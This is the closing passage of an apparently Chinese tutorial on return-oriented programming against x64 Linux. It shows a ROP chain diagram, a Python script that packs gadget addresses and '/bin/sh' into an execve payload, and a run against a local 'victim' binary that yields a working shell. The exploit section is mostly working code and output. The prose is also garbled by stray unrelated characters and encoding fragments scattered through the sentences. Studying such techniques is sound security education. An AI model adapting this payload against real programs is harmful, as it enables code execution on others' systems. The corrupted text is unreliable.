| 0x00000000004003f2 |-----------------------+ | ... |
1+--------------------+ +-->+--------------+1
| 0x00000000004018ed |---------------------+ | pop r12 |
2,5+--------------------+ | +--------------+2
| 0x0000000000487318 |------------------+ | | ret |
3,4,6+--------------------+ | | +--------------+
| "/bin/sh\x00" | | | | ... |
7+--------------------+ | +---->+--------------+5
| 0x0000000000431b3d |--------------+ | | pop r12 |
8+--------------------+ | | +--------------+6
| 0x000000000000003b | | | | pop r13 |
9+--------------------+ | | +--------------+7
| 0x00000000004333d9 |-----------+ | | | ret |
10+--------------------+ | | | +--------------+
| 0x0000000000000000 | | | | | ... |
11+--------------------+ | | +------->+--------------+3
| 0x0000000000000000 | | | | mov rdi, rsp |
12+--------------------+ | | +--------------+4
| 0x000000000043d371 |-------+ | | | call r12 |
13+--------------------+ | | | +--------------+
| | | | ... |
| | +----------->+--------------+8
| | | pop rax |
| | +--------------+9
| | | ret |
| | +--------------+
| | | ... |
| +-------------->+--------------+10
| | pop rsi |
| +--------------+11
| | pop rdx |
| +--------------+12
| | ret |
| +--------------+
| | ... |
+------------------>+--------------+13
| syscall |
+--------------+
為了將大端順序的地址數(shù)值轉(zhuǎn)換為小端順序的字符串斗忌,編寫了一個python程序gen_shellcode.py
來生成最終的shellcode:
# >>> s= long2bytes(0x5c4)
# >>> s
# '\xc4\x05\x00\x00\x00\x00\x00\x00'
def long2bytes(x):
ss = [""] * 8
for i in range(8):
ss[i] = chr(x & 0xff)
x >>= 8
return "".join(ss)
print "\x00"*72 + \
long2bytes(0x4003f2) + \
long2bytes(0x4018ed) + \
long2bytes(0x487318) + \
"/bin/sh\x00" + \
long2bytes(0x431b3d) + \
long2bytes(0x00003b) + \
long2bytes(0x4333d9) + \
long2bytes(0x000000) + \
long2bytes(0x000000) + \
long2bytes(0x43d371)
現(xiàn)在可以實施攻擊了:
$ python gen-shellcode.py > shellcode
$ cat shellcode - | ./victim
What's your name?Hello, 1804289383!
ls
gen-shellcode.py shellcode victim victim.c
mkdir xxx
ls
gen-shellcode.py shellcode victim victim.c xxx
可以看出終端被成功打開质礼,ls和mkdir命令都可以運行。
5. 致謝
- 感謝jip的文章 Stack Smashing On A Modern Linux System 和Ben Lynn的文章 64-bit Linux Return-Oriented Programming 织阳,他們的文章系統(tǒng)的介紹了Linux(x64)下的棧溢出攻擊和防護方法眶蕉。
- 感謝 Erik Buchanan, Ryan Roemer 和 Stefan Savage 等人對ROP做出的非凡的工作:Return-Oriented Programming: Exploits Without Code Injection,ROP攻擊幾乎無法阻擋唧躲,強大之中又蘊涵著優(yōu)雅的美感造挽,就像風清楊教給令狐沖的獨孤九劍。
- 感謝JonathanSalwan編寫的ROPgadget弄痹,他的工具讓搜索gadgets的工作變得簡單無比饭入。